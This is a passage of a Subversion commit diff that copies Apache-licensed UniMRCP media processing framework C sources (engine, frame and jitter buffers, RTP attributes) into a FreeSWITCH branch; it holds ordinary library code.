+	return mpf_audio_stream_frame_write(encoder->sink,&encoder->frame_out);
+}
+
+
+static const mpf_audio_stream_vtable_t vtable = {
+	mpf_encoder_destroy,
+	NULL,
+	NULL,
+	NULL,
+	mpf_encoder_open,
+	mpf_encoder_close,
+	mpf_encoder_process
+};
+
+MPF_DECLARE(mpf_audio_stream_t*) mpf_encoder_create(mpf_audio_stream_t *sink, apr_pool_t *pool)
+{
+	apr_size_t frame_size;
+	mpf_codec_t *codec;
+	mpf_encoder_t *encoder;
+	if(!sink || !sink->tx_codec) {
+		return NULL;
+	}
+	encoder = apr_palloc(pool,sizeof(mpf_encoder_t));
+	encoder->base = mpf_audio_stream_create(encoder,&vtable,STREAM_MODE_SEND,pool);
+	encoder->sink = sink;
+
+	codec = sink->tx_codec;
+	frame_size = mpf_codec_frame_size_calculate(codec->descriptor,codec->attribs);
+	encoder->base->tx_codec = codec;
+	encoder->frame_out.codec_frame.size = frame_size;
+	encoder->frame_out.codec_frame.buffer = apr_palloc(pool,frame_size);
+	return encoder->base;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_engine.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_engine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_engine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_engine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_engine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,311 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_engine.h"
+#include "mpf_user.h"
+#include "mpf_context.h"
+#include "mpf_termination.h"
+#include "mpf_stream.h"
+#include "mpf_timer.h"
+#include "mpf_codec_descriptor.h"
+#include "mpf_codec_manager.h"
+#include "apt_obj_list.h"
+#include "apt_cyclic_queue.h"
+#include "apt_log.h"
+
+#define MPF_TASK_NAME "Media Processing Engine"
+
+struct mpf_engine_t {
+	apr_pool_t                *pool;
+	apt_task_t                *task;
+	apt_task_msg_type_e        task_msg_type;
+	apr_thread_mutex_t        *request_queue_guard;
+	apt_cyclic_queue_t        *request_queue;
+	apt_obj_list_t            *contexts;
+	mpf_timer_t               *timer;
+	const mpf_codec_manager_t *codec_manager;
+};
+
+static void mpf_engine_main(mpf_timer_t *timer, void *data);
+static apt_bool_t mpf_engine_destroy(apt_task_t *task);
+static apt_bool_t mpf_engine_start(apt_task_t *task);
+static apt_bool_t mpf_engine_terminate(apt_task_t *task);
+static apt_bool_t mpf_engine_msg_signal(apt_task_t *task, apt_task_msg_t *msg);
+static apt_bool_t mpf_engine_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+static apt_bool_t mpf_engine_contexts_destroy(mpf_engine_t *engine);
+
+mpf_codec_t* mpf_codec_lpcm_create(apr_pool_t *pool);
+mpf_codec_t* mpf_codec_l16_create(apr_pool_t *pool);
+mpf_codec_t* mpf_codec_g711u_create(apr_pool_t *pool);
+mpf_codec_t* mpf_codec_g711a_create(apr_pool_t *pool);
+
+MPF_DECLARE(mpf_engine_t*) mpf_engine_create(apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+	mpf_engine_t *engine = apr_palloc(pool,sizeof(mpf_engine_t));
+	engine->pool = pool;
+	engine->request_queue = NULL;
+	engine->contexts = NULL;
+	engine->codec_manager = NULL;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(mpf_message_t),pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "MPF_TASK_NAME);
+	engine->task = apt_task_create(engine,msg_pool,pool);
+	if(!engine->task) {
+		return NULL;
+	}
+
+	apt_task_name_set(engine->task,MPF_TASK_NAME);
+
+	vtable = apt_task_vtable_get(engine->task);
+	if(vtable) {
+		vtable->destroy = mpf_engine_destroy;
+		vtable->start = mpf_engine_start;
+		vtable->terminate = mpf_engine_terminate;
+		vtable->signal_msg = mpf_engine_msg_signal;
+		vtable->process_msg = mpf_engine_msg_process;
+	}
+
+	engine->task_msg_type = TASK_MSG_USER;
+
+	engine->request_queue = apt_cyclic_queue_create(CYCLIC_QUEUE_DEFAULT_SIZE);
+	apr_thread_mutex_create(&engine->request_queue_guard,APR_THREAD_MUTEX_UNNESTED,engine->pool);
+
+	engine->contexts = apt_list_create(engine->pool);
+
+	return engine;
+}
+
+MPF_DECLARE(apt_task_t*) mpf_task_get(mpf_engine_t *engine)
+{
+	return engine->task;
+}
+
+MPF_DECLARE(void) mpf_engine_task_msg_type_set(mpf_engine_t *engine, apt_task_msg_type_e type)
+{
+	engine->task_msg_type = type;
+}
+
+static apt_bool_t mpf_engine_destroy(apt_task_t *task)
+{
+	mpf_engine_t *engine = apt_task_object_get(task);
+
+	apt_list_destroy(engine->contexts);
+
+	apt_cyclic_queue_destroy(engine->request_queue);
+	apr_thread_mutex_destroy(engine->request_queue_guard);
+	return TRUE;
+}
+
+static apt_bool_t mpf_engine_start(apt_task_t *task)
+{
+	mpf_engine_t *engine = apt_task_object_get(task);
+
+	engine->timer = mpf_timer_start(CODEC_FRAME_TIME_BASE,mpf_engine_main,engine,engine->pool);
+	apt_task_child_start(task);
+	return TRUE;
+}
+
+static apt_bool_t mpf_engine_terminate(apt_task_t *task)
+{
+	mpf_engine_t *engine = apt_task_object_get(task);
+
+	mpf_timer_stop(engine->timer);
+	mpf_engine_contexts_destroy(engine);
+	apt_task_child_terminate(task);
+	return TRUE;
+}
+
+static apt_bool_t mpf_engine_contexts_destroy(mpf_engine_t *engine)
+{
+	mpf_context_t *context;
+	context = apt_list_pop_front(engine->contexts);
+	while(context) {
+		mpf_context_destroy(context);
+		
+		context = apt_list_pop_front(engine->contexts);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mpf_engine_event_raise(mpf_termination_t *termination, int event_id, void *descriptor)
+{
+	apt_task_msg_t *task_msg;
+	mpf_message_t *event_msg;
+	mpf_engine_t *engine;
+	engine = termination->event_handler_obj;
+	if(!engine) {
+		return FALSE;
+	}
+
+	task_msg = apt_task_msg_get(engine->task);
+	task_msg->type = engine->task_msg_type;
+	event_msg = (mpf_message_t*) task_msg->data;
+	event_msg->command_id = event_id;
+	event_msg->message_type = MPF_MESSAGE_TYPE_EVENT;
+	event_msg->status_code = MPF_STATUS_CODE_SUCCESS;
+	event_msg->context = NULL;
+	event_msg->termination = termination;
+	event_msg->descriptor = descriptor;
+	
+	return apt_task_msg_parent_signal(engine->task,task_msg);
+}
+
+static apt_bool_t mpf_engine_msg_signal(apt_task_t *task, apt_task_msg_t *msg)
+{
+	mpf_engine_t *engine = apt_task_object_get(task);
+	
+	apr_thread_mutex_lock(engine->request_queue_guard);
+	if(apt_cyclic_queue_push(engine->request_queue,msg) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_ERROR,"MPF Request Queue is Full");
+	}
+	apr_thread_mutex_unlock(engine->request_queue_guard);
+	return TRUE;
+}
+
+static apt_bool_t mpf_engine_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	mpf_engine_t *engine = apt_task_object_get(task);
+	apt_task_msg_t *response_msg;
+	mpf_message_t *response;
+	mpf_context_t *context;
+	mpf_termination_t *termination;
+	const mpf_message_t *request = (const mpf_message_t*) msg->data;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process MPF Message");
+	if(request->message_type != MPF_MESSAGE_TYPE_REQUEST) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid MPF Message Type [%d]",request->message_type);
+		return FALSE;
+	}
+
+	response_msg = apt_task_msg_get(engine->task);
+	response_msg->type = engine->task_msg_type;
+	response = (mpf_message_t*) response_msg->data;
+	*response = *request;
+	response->message_type = MPF_MESSAGE_TYPE_RESPONSE;
+	response->status_code = MPF_STATUS_CODE_SUCCESS;
+	context = request->context;
+	termination = request->termination;
+	switch(request->command_id) {
+		case MPF_COMMAND_ADD:
+		{
+			termination->event_handler_obj = engine;
+			termination->event_handler = mpf_engine_event_raise;
+			termination->codec_manager = engine->codec_manager;
+			if(request->descriptor) {
+				mpf_termination_modify(termination,request->descriptor);
+			}
+			mpf_termination_validate(termination);
+			if(mpf_context_termination_add(context,termination) == FALSE) {
+				response->status_code = MPF_STATUS_CODE_FAILURE;
+				break;
+			}
+			mpf_context_topology_apply(context,termination);
+			if(context->termination_count == 1) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Add Context");
+				context->elem = apt_list_push_back(engine->contexts,context,context->pool);
+			}
+			break;
+		}
+		case MPF_COMMAND_SUBTRACT:
+		{
+			mpf_context_topology_destroy(context,termination);
+			if(mpf_context_termination_subtract(context,termination) == FALSE) {
+				response->status_code = MPF_STATUS_CODE_FAILURE;
+				break;
+			}
+			if(context->termination_count == 0) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Remove Context");
+				apt_list_elem_remove(engine->contexts,context->elem);
+				context->elem = NULL;
+			}
+			break;
+		}
+		case MPF_COMMAND_MODIFY:
+		{
+			if(request->descriptor) {
+				mpf_context_topology_destroy(context,termination);
+				mpf_termination_modify(termination,request->descriptor);
+				mpf_termination_validate(termination);
+				mpf_context_topology_apply(context,termination);
+			}
+			break;
+		}
+		default:
+		{
+			response->status_code = MPF_STATUS_CODE_FAILURE;
+		}
+	}
+
+	return apt_task_msg_parent_signal(engine->task,response_msg);
+}
+
+static void mpf_engine_main(mpf_timer_t *timer, void *data)
+{
+	mpf_engine_t *engine = data;
+	apt_task_msg_t *msg;
+	apt_list_elem_t *elem;
+	mpf_context_t *context;
+
+	/* process request queue */
+	apr_thread_mutex_lock(engine->request_queue_guard);
+	msg = apt_cyclic_queue_pop(engine->request_queue);
+	while(msg) {
+		apr_thread_mutex_unlock(engine->request_queue_guard);
+		apt_task_msg_process(engine->task,msg);
+		apr_thread_mutex_lock(engine->request_queue_guard);
+		msg = apt_cyclic_queue_pop(engine->request_queue);
+	}
+	apr_thread_mutex_unlock(engine->request_queue_guard);
+
+	/* process contexts */
+	elem = apt_list_first_elem_get(engine->contexts);
+	while(elem) {
+		context = apt_list_elem_object_get(elem);
+		if(context) {
+			mpf_context_process(context);
+		}
+		elem = apt_list_next_elem_get(engine->contexts,elem);
+	}
+}
+
+MPF_DECLARE(mpf_codec_manager_t*) mpf_engine_codec_manager_create(apr_pool_t *pool)
+{
+	mpf_codec_manager_t *codec_manager = mpf_codec_manager_create(3,pool);
+	if(codec_manager) {
+		mpf_codec_t *codec;
+		codec = mpf_codec_lpcm_create(pool);
+		mpf_codec_manager_codec_register(codec_manager,codec);
+
+		codec = mpf_codec_g711u_create(pool);
+		mpf_codec_manager_codec_register(codec_manager,codec);
+
+		codec = mpf_codec_g711a_create(pool);
+		mpf_codec_manager_codec_register(codec_manager,codec);
+
+		codec = mpf_codec_l16_create(pool);
+		mpf_codec_manager_codec_register(codec_manager,codec);
+	}
+	return codec_manager;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_engine_codec_manager_register(mpf_engine_t *engine, const mpf_codec_manager_t *codec_manager)
+{
+	engine->codec_manager = codec_manager;
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_file_termination_factory.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_file_termination_factory.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_file_termination_factory.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_file_termination_factory.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_file_termination_factory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_termination.h"
+#include "mpf_file_termination_factory.h"
+#include "mpf_audio_file_stream.h"
+
+static apt_bool_t mpf_file_termination_destroy(mpf_termination_t *termination)
+{
+	return TRUE;
+}
+
+static apt_bool_t mpf_file_termination_modify(mpf_termination_t *termination, void *descriptor)
+{
+	mpf_audio_stream_t *audio_stream = termination->audio_stream;
+	if(!audio_stream) {
+		audio_stream = mpf_file_stream_create(termination,termination->pool);
+		if(!audio_stream) {
+			return FALSE;
+		}
+		termination->audio_stream = audio_stream;
+	}
+
+	return mpf_file_stream_modify(audio_stream,descriptor);
+}
+
+static const mpf_termination_vtable_t file_vtable = {
+	mpf_file_termination_destroy,
+	mpf_file_termination_modify,
+};
+
+static mpf_termination_t* mpf_file_termination_create(
+									mpf_termination_factory_t *termination_factory,
+									void *obj, 
+									apr_pool_t *pool)
+{
+	return mpf_termination_base_create(termination_factory,obj,&file_vtable,NULL,NULL,pool);
+}
+
+MPF_DECLARE(mpf_termination_factory_t*) mpf_file_termination_factory_create(apr_pool_t *pool)
+{
+	mpf_termination_factory_t *file_termination_factory = apr_palloc(pool,sizeof(mpf_termination_factory_t));
+	file_termination_factory->create_termination = mpf_file_termination_create;
+	return file_termination_factory;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_frame_buffer.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_frame_buffer.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_frame_buffer.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_frame_buffer.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_frame_buffer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,124 @@
+/*
+ * Copyright 2009 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_frame_buffer.h"
+
+struct mpf_frame_buffer_t {
+	apr_byte_t         *raw_data;
+	mpf_frame_t        *frames;
+	apr_size_t          frame_count;
+	apr_size_t          frame_size;
+
+	apr_size_t          write_pos;
+	apr_size_t          read_pos;
+
+	apr_thread_mutex_t *guard;
+	apr_pool_t         *pool;
+};
+
+
+mpf_frame_buffer_t* mpf_frame_buffer_create(apr_size_t frame_size, apr_size_t frame_count, apr_pool_t *pool)
+{
+	apr_size_t i;
+	mpf_frame_buffer_t *buffer = apr_palloc(pool,sizeof(mpf_frame_buffer_t));
+
+	buffer->frame_size = frame_size;
+	buffer->frame_count = frame_count;
+	buffer->raw_data = apr_palloc(pool,buffer->frame_size*buffer->frame_count);
+	buffer->frames = apr_palloc(pool,sizeof(mpf_frame_t)*buffer->frame_count);
+	for(i=0; i<buffer->frame_count; i++) {
+		buffer->frames[i].type = MEDIA_FRAME_TYPE_NONE;
+		buffer->frames[i].codec_frame.buffer = buffer->raw_data + i*buffer->frame_size;
+	}
+
+	buffer->write_pos = buffer->read_pos = 0;
+	apr_thread_mutex_create(&buffer->guard,APR_THREAD_MUTEX_UNNESTED,pool);
+	return buffer;
+}
+
+void mpf_frame_buffer_destroy(mpf_frame_buffer_t *buffer)
+{
+	if(buffer->guard) {
+		apr_thread_mutex_destroy(buffer->guard);
+		buffer->guard = NULL;
+	}
+}
+
+apt_bool_t mpf_frame_buffer_restart(mpf_frame_buffer_t *buffer)
+{
+	buffer->write_pos = buffer->read_pos;
+	return TRUE;
+}
+
+static APR_INLINE mpf_frame_t* mpf_frame_buffer_frame_get(mpf_frame_buffer_t *buffer, apr_size_t pos)
+{
+	apr_size_t index = pos % buffer->frame_count;
+	return &buffer->frames[index];
+}
+
+apt_bool_t mpf_frame_buffer_write(mpf_frame_buffer_t *buffer, const mpf_frame_t *frame)
+{
+	mpf_frame_t *write_frame;
+	void *data = frame->codec_frame.buffer;
+	apr_size_t size = frame->codec_frame.size;
+
+	apr_thread_mutex_lock(buffer->guard);
+	while(buffer->write_pos - buffer->read_pos < buffer->frame_count && size >= buffer->frame_size) {
+		write_frame = mpf_frame_buffer_frame_get(buffer,buffer->write_pos);
+		write_frame->type = frame->type;
+		write_frame->codec_frame.size = buffer->frame_size;
+		memcpy(
+			write_frame->codec_frame.buffer,
+			data,
+			write_frame->codec_frame.size);
+
+		data = (char*)data + buffer->frame_size;
+		size -= buffer->frame_size;
+		buffer->write_pos ++;
+	}
+
+	apr_thread_mutex_unlock(buffer->guard);
+	/* if size != 0 => non frame alligned or buffer is full */
+	return size == 0 ? TRUE : FALSE;
+}
+
+apt_bool_t mpf_frame_buffer_read(mpf_frame_buffer_t *buffer, mpf_frame_t *media_frame)
+{
+	apr_thread_mutex_lock(buffer->guard);
+	if(buffer->write_pos > buffer->read_pos) {
+		/* normal read */
+		mpf_frame_t *src_media_frame = mpf_frame_buffer_frame_get(buffer,buffer->read_pos);
+		media_frame->type = src_media_frame->type;
+		if(media_frame->type & MEDIA_FRAME_TYPE_AUDIO) {
+			media_frame->codec_frame.size = src_media_frame->codec_frame.size;
+			memcpy(
+				media_frame->codec_frame.buffer,
+				src_media_frame->codec_frame.buffer,
+				media_frame->codec_frame.size);
+		}
+		if(media_frame->type & MEDIA_FRAME_TYPE_EVENT) {
+			media_frame->event_frame = src_media_frame->event_frame;
+		}
+		src_media_frame->type = MEDIA_FRAME_TYPE_NONE;
+		buffer->read_pos ++;
+	}
+	else {
+		/* underflow */
+		media_frame->type = MEDIA_FRAME_TYPE_NONE;
+	}
+	apr_thread_mutex_unlock(buffer->guard);
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_jitter_buffer.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_jitter_buffer.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_jitter_buffer.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_jitter_buffer.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_jitter_buffer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,197 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_jitter_buffer.h"
+
+struct mpf_jitter_buffer_t {
+	mpf_jb_config_t *config;
+
+	apr_byte_t      *raw_data;
+	mpf_frame_t     *frames;
+	apr_size_t       frame_count;
+	apr_size_t       frame_ts;
+	apr_size_t       frame_size;
+
+	apr_size_t       playout_delay_ts;
+
+	apr_byte_t       write_sync;
+	int              write_ts_offset;
+	
+	apr_size_t       write_ts;
+	apr_size_t       read_ts;
+
+	apr_pool_t      *pool;
+};
+
+
+mpf_jitter_buffer_t* mpf_jitter_buffer_create(mpf_jb_config_t *jb_config, mpf_codec_t *codec, apr_pool_t *pool)
+{
+	size_t i;
+	mpf_jitter_buffer_t *jb = apr_palloc(pool,sizeof(mpf_jitter_buffer_t));
+	if(!jb_config) {
+		/* create default jb config */
+		jb_config = apr_palloc(pool,sizeof(mpf_jb_config_t));
+		mpf_jb_config_init(jb_config);
+	}
+	/* validate jb config */
+	if(jb_config->initial_playout_delay == 0) {
+		/* default configuration */
+		jb_config->min_playout_delay = 10; /* ms */
+		jb_config->initial_playout_delay = 50; /* ms */
+		jb_config->max_playout_delay = 200; /* ms */
+	}
+	else {
+		if(jb_config->min_playout_delay > jb_config->initial_playout_delay) {
+			jb_config->min_playout_delay = jb_config->initial_playout_delay;
+		}
+		if(jb_config->max_playout_delay < jb_config->initial_playout_delay) {
+			jb_config->max_playout_delay = 2 * jb_config->initial_playout_delay;
+		}
+	}
+	jb->config = jb_config;
+
+	jb->frame_ts = mpf_codec_frame_samples_calculate(codec->descriptor);
+	jb->frame_size = mpf_codec_frame_size_calculate(codec->descriptor,codec->attribs);
+	jb->frame_count = jb->config->max_playout_delay / CODEC_FRAME_TIME_BASE;
+	jb->raw_data = apr_palloc(pool,jb->frame_size*jb->frame_count);
+	jb->frames = apr_palloc(pool,sizeof(mpf_frame_t)*jb->frame_count);
+	for(i=0; i<jb->frame_count; i++) {
+		jb->frames[i].type = MEDIA_FRAME_TYPE_NONE;
+		jb->frames[i].codec_frame.buffer = jb->raw_data + i*jb->frame_size;
+	}
+
+	jb->playout_delay_ts = jb->config->initial_playout_delay *
+		codec->descriptor->channel_count * codec->descriptor->sampling_rate / 1000;
+
+	jb->write_sync = 1;
+	jb->write_ts_offset = 0;
+	jb->write_ts = jb->read_ts = 0;
+
+	return jb;
+}
+
+void mpf_jitter_buffer_destroy(mpf_jitter_buffer_t *jb)
+{
+}
+
+apt_bool_t mpf_jitter_buffer_restart(mpf_jitter_buffer_t *jb)
+{
+	jb->write_sync = 1;
+	jb->write_ts_offset = 0;
+	jb->write_ts = jb->read_ts;
+	return TRUE;
+}
+
+static APR_INLINE mpf_frame_t* mpf_jitter_buffer_frame_get(mpf_jitter_buffer_t *jb, apr_size_t ts)
+{
+	apr_size_t index = (ts / jb->frame_ts) % jb->frame_count;
+	return &jb->frames[index];
+}
+
+static APR_INLINE jb_result_t mpf_jitter_buffer_write_prepare(mpf_jitter_buffer_t *jb, apr_uint32_t ts, 
+												apr_size_t *write_ts, apr_size_t *available_frame_count)
+{
+	jb_result_t result = JB_OK;
+	if(jb->write_sync) {
+		jb->write_ts_offset = ts - jb->write_ts;
+		jb->write_sync = 0;
+	}
+
+	*write_ts = ts - jb->write_ts_offset + jb->playout_delay_ts;
+	if(*write_ts % jb->frame_ts != 0) {
+		/* not frame alligned */
+		return JB_DISCARD_NOT_ALLIGNED;
+	}
+
+	if(*write_ts >= jb->write_ts) {
+		if(*write_ts - jb->write_ts > jb->frame_ts) {
+			/* gap */
+		}
+		/* normal write */
+	}
+	else {
+		if(*write_ts >= jb->read_ts) {
+			/* backward write */
+		}
+		else {
+			/* too late */
+			result = JB_DISCARD_TOO_LATE;
+		}
+	}
+	*available_frame_count = jb->frame_count - (*write_ts - jb->read_ts)/jb->frame_ts;
+	return result;
+}
+
+jb_result_t mpf_jitter_buffer_write(mpf_jitter_buffer_t *jb, mpf_codec_t *codec, void *buffer, apr_size_t size, apr_uint32_t ts)
+{
+	mpf_frame_t *media_frame;
+	apr_size_t write_ts;
+	apr_size_t available_frame_count = 0;
+	jb_result_t result = mpf_jitter_buffer_write_prepare(jb,ts,&write_ts,&available_frame_count);
+	if(result != JB_OK) {
+		return result;
+	}
+
+	while(available_frame_count && size) {
+		media_frame = mpf_jitter_buffer_frame_get(jb,write_ts);
+		media_frame->codec_frame.size = jb->frame_size;
+		if(mpf_codec_dissect(codec,&buffer,&size,&media_frame->codec_frame) == FALSE) {
+			break;
+		}
+
+		media_frame->type |= MEDIA_FRAME_TYPE_AUDIO;
+		write_ts += jb->frame_ts;
+		available_frame_count--;
+	}
+
+	if(size) {
+		/* no frame available to write, but some data remains in buffer (partialy too early) */
+	}
+
+	if(write_ts > jb->write_ts) {
+		jb->write_ts = write_ts;
+	}
+	return result;
+}
+
+jb_result_t mpf_jitter_buffer_write_named_event(mpf_jitter_buffer_t *jb, mpf_named_event_frame_t *named_event, apr_uint32_t ts)
+{
+	return JB_OK;
+}
+
+apt_bool_t mpf_jitter_buffer_read(mpf_jitter_buffer_t *jb, mpf_frame_t *media_frame)
+{
+	mpf_frame_t *src_media_frame = mpf_jitter_buffer_frame_get(jb,jb->read_ts);
+	if(jb->write_ts > jb->read_ts) {
+		/* normal read */
+		media_frame->type = src_media_frame->type;
+		if(media_frame->type & MEDIA_FRAME_TYPE_AUDIO) {
+			media_frame->codec_frame.size = src_media_frame->codec_frame.size;
+			memcpy(media_frame->codec_frame.buffer,src_media_frame->codec_frame.buffer,media_frame->codec_frame.size);
+		}
+		if(media_frame->type & MEDIA_FRAME_TYPE_EVENT) {
+			media_frame->event_frame = src_media_frame->event_frame;
+		}
+	}
+	else {
+		/* underflow */
+		media_frame->type = MEDIA_FRAME_TYPE_NONE;
+		jb->write_ts += jb->frame_ts;
+	}
+	src_media_frame->type = MEDIA_FRAME_TYPE_NONE;
+	jb->read_ts += jb->frame_ts;
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_attribs.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_attribs.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_rtp_attribs.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_attribs.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_attribs.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_string_table.h"
+#include "mpf_rtp_attribs.h"
+
+/** String table of RTP attributes (mpf_rtp_attrib_e) */
+static const apt_str_table_item_t mpf_rtp_attrib_table[] = {
+	{{"rtpmap",   6},1},
+	{{"sendonly", 8},8},
+	{{"recvonly", 8},2},
+	{{"sendrecv", 8},4},
+	{{"mid",      3},0},
+	{{"ptime",    5},0}
+};
+
+
+MPF_DECLARE(const apt_str_t*) mpf_rtp_attrib_str_get(mpf_rtp_attrib_e attrib_id)
+{
+	return apt_string_table_str_get(mpf_rtp_attrib_table,RTP_ATTRIB_COUNT,attrib_id);
+}
+
+MPF_DECLARE(mpf_rtp_attrib_e) mpf_rtp_attrib_id_find(const apt_str_t *attrib)
+{
+	return apt_string_table_id_find(mpf_rtp_attrib_table,RTP_ATTRIB_COUNT,attrib);
+}
+
+MPF_DECLARE(const apt_str_t*) mpf_stream_mode_str_get(mpf_stream_mode_e direction)
+{
+	mpf_rtp_attrib_e attrib_id = RTP_ATTRIB_UNKNOWN;
+	switch(direction) {
+		case STREAM_MODE_SEND:
+			attrib_id = RTP_ATTRIB_SENDONLY;
+			break;
+		case STREAM_MODE_RECEIVE:
+			attrib_id = RTP_ATTRIB_RECVONLY;
+			break;
+		case STREAM_MODE_SEND_RECEIVE:
+			attrib_id = RTP_ATTRIB_SENDRECV;
+			break;
+		default:
+			break;
+	}
+	return apt_string_table_str_get(mpf_rtp_attrib_table,RTP_ATTRIB_COUNT,attrib_id);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_stream.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_stream.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_rtp_stream.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,771 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_network_io.h>
+#include "mpf_rtp_stream.h"
+#include "mpf_termination.h"
+#include "mpf_codec_manager.h"
+#include "mpf_rtp_header.h"
+#include "mpf_rtp_defs.h"
+#include "apt_log.h"
+
+
+/** RTP stream */
+typedef struct mpf_rtp_stream_t mpf_rtp_stream_t;
+struct mpf_rtp_stream_t {
